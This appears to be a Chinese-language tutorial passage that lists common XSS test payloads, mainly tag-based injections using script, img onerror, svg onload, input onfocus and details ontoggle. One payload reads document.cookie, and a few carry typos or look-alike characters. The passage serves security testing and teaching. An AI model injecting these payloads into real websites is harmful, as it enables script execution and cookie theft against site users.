文章前言
XSS(跨站脚本攻击)是一种常见的网络安全威胁,攻击者借助漏洞将恶意脚本注入到网页中以在用户浏览器上执行恶意操作,本文将对我们一些常用的XSS有效载荷进行介绍
常用载荷
下面是一些平时在进行XSS测试时常用的攻击载荷,主要划分为以下几类:
#标签类
<scirpt>alert("xss");</script>
<img src=x onerror=alert("xss");>
<img src=x οnerrοr=prompt(1);>
<img/src='x'/onclick=alert(document.cookie)><p>test<p>
<svg onload=alert("xss");>
<script>setTimeout(alert(88199),0)</script>
<script>document['write'](88199);</script>
<script>propmt("mamunwhh")</script>
<input onfocus="alert('xss');">
<input onfocus="alert('xss');" autofocus>
<input onblur=alert("xss") autofocus><input autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('x